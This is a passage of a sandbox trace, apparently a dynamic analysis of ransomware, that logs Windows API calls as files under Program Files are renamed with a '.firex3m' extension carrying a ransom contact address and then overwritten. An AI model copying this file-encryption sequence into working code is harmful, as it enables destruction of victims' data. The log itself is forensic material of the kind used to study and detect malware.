files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0226.137] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0226.137] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.137] GetProcessHeap () returned 0x630000 [0226.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d00b0 [0226.137] GetProcessHeap () returned 0x630000 [0226.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6cf5e8 [0226.137] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.138] ReadFile (in: hFile=0x6c0, lpBuffer=0x6d00b0, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d00b0*, lpNumberOfBytesRead=0x5d7ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0226.192] GetProcessHeap () returned 0x630000 [0226.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0226.192] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.192] WriteFile (in: hFile=0x6c0, lpBuffer=0x6cf5e8*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cf5e8*, lpNumberOfBytesWritten=0x5d7ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0226.192] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.192] WriteFile (in: hFile=0x6c0, lpBuffer=0x6cf7c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cf7c7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.192] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.192] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.193] CloseHandle (hObject=0x6c0) returned 1 [0226.193] GetProcessHeap () returned 0x630000 [0226.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cf5e8 | out: hHeap=0x630000) returned 1 [0226.193] GetProcessHeap () returned 0x630000 [0226.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d00b0 | out: hHeap=0x630000) returned 1 [0226.193] GetProcessHeap () returned 0x630000 [0226.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0226.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4cc47b28, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x5d7fd20, dwReserved1=0x6d00b0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0226.193] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.193] Sleep (dwMilliseconds=0x1) [0226.339] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe", len=0x3a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe") returned 1 [0226.339] GetProcessHeap () returned 0x630000 [0226.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51bc) returned 0x6fe3bb0 [0226.339] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe" (normalized: "c:\\program files\\windows defender\\configsecuritypolicy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.344] Sleep (dwMilliseconds=0x1) [0226.367] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui", len=0x33 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui") returned 1 [0226.367] GetProcessHeap () returned 0x630000 [0226.367] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5218) returned 0x6fe3bb0 [0226.368] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.368] Sleep (dwMilliseconds=0x1) [0226.372] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Mail\\WinMail.exe", len=0x29 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Mail\\WinMail.exe") returned 1 [0226.372] GetProcessHeap () returned 0x630000 [0226.372] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5220) returned 0x6fe3bb0 [0226.372] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files\\windows mail\\winmail.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.374] Sleep (dwMilliseconds=0x1) [0226.385] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml", len=0x4d | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml") returned 1 [0226.385] GetProcessHeap () returned 0x630000 [0226.385] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5250) returned 0x6fe3bb0 [0226.385] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol_dmp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.386] Sleep (dwMilliseconds=0x1) [0226.401] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png", len=0x3f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0226.401] GetProcessHeap () returned 0x630000 [0226.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5248) returned 0x6fe3bb0 [0226.402] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.402] Sleep (dwMilliseconds=0x1) [0226.477] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg", len=0x3f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0226.477] GetProcessHeap () returned 0x630000 [0226.477] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5244) returned 0x6fe3bb0 [0226.477] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.479] Sleep (dwMilliseconds=0x1) [0226.525] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg", len=0x40 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0226.525] GetProcessHeap () returned 0x630000 [0226.525] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x523c) returned 0x6fe3bb0 [0226.526] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.526] Sleep (dwMilliseconds=0x1) [0226.606] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui", len=0x3c | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui") returned 1 [0226.607] GetProcessHeap () returned 0x630000 [0226.607] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5230) returned 0x6fe3bb0 [0226.607] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.607] Sleep (dwMilliseconds=0x1) [0226.658] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui", len=0x3c | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 1 [0226.658] GetProcessHeap () returned 0x630000 [0226.658] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5228) returned 0x6fe3bb0 [0226.658] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmplayer.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.658] Sleep (dwMilliseconds=0x1) [0226.670] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe", len=0x48 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe") returned 1 [0226.670] GetProcessHeap () returned 0x630000 [0226.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5208) returned 0x6fe3bb0 [0226.670] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe" (normalized: "c:\\program files\\windows defender advanced threat protection\\mssense.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.678] Sleep (dwMilliseconds=0x1) [0226.690] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\Task.xml", len=0x1d | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\Task.xml") returned 1 [0226.690] GetProcessHeap () returned 0x630000 [0226.690] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ac) returned 0x6fe3bb0 [0226.690] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Task.xml" (normalized: "c:\\program files\\unp\\task.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0226.697] CloseHandle (hObject=0x5e4) returned 1 [0226.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.698] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Task.xml" (normalized: "c:\\program files\\unp\\task.xml"), lpNewFileName="C:\\Program Files\\UNP\\Task.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\task.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Task.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x3, dwReserved1=0x800001, cFileName="Task.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TASKXM~1.FIR")) returned 0x6d5200 [0226.725] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.729] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Task.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\task.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0227.332] GetProcessHeap () returned 0x630000 [0227.332] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xca1) returned 0x6f1c300 [0227.332] GetProcessHeap () returned 0x630000 [0227.332] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xca1) returned 0x70f948 [0227.332] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.332] ReadFile (in: hFile=0x6a8, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xc80, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x5d7ff0c*=0xc80, lpOverlapped=0x0) returned 1 [0227.345] GetProcessHeap () returned 0x630000 [0227.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0227.345] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.345] WriteFile (in: hFile=0x6a8, lpBuffer=0x70f948*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f948*, lpNumberOfBytesWritten=0x5d7ff0c*=0xc80, lpOverlapped=0x0) returned 1 [0227.346] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.346] WriteFile (in: hFile=0x6a8, lpBuffer=0x7105c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7105c7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.346] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.346] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.346] CloseHandle (hObject=0x6a8) returned 1 [0227.346] GetProcessHeap () returned 0x630000 [0227.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f948 | out: hHeap=0x630000) returned 1 [0227.346] GetProcessHeap () returned 0x630000 [0227.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0227.346] GetProcessHeap () returned 0x630000 [0227.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0227.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Task.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d74e6f4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0xaf87496, dwReserved1=0x6f1c2f8, cFileName="Task.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TASKXM~1.FIR")) returned 0x6d5000 [0227.346] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0227.346] Sleep (dwMilliseconds=0x1) [0227.404] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js", len=0x7c | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js") returned 1 [0227.404] GetProcessHeap () returned 0x630000 [0227.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x512c) returned 0x6fe3bb0 [0227.404] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\jquery-3.1.1.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0227.406] CloseHandle (hObject=0x6d8) returned 1 [0227.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.407] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\jquery-3.1.1.min.js"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1ab83100, ftLastWriteTime.dwHighDateTime=0x1d2cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x152b9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JQUERY~1.FIR")) returned 0x6d5000 [0227.487] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0227.487] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\jquery-3.1.1.min.js.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0227.487] GetProcessHeap () returned 0x630000 [0227.487] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70378e0 [0227.487] GetProcessHeap () returned 0x630000 [0227.487] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7042d10 [0227.487] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.487] ReadFile (in: hFile=0x6d8, lpBuffer=0x70378e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70378e0*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.265] GetProcessHeap () returned 0x630000 [0233.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0233.265] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.265] WriteFile (in: hFile=0x6d8, lpBuffer=0x7042d10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7042d10*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.860] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.860] WriteFile (in: hFile=0x6d8, lpBuffer=0x704e10f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704e10f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.922] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.922] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.923] CloseHandle (hObject=0x6d8) returned 1 [0233.923] GetProcessHeap () returned 0x630000 [0233.923] HeapFree (in: 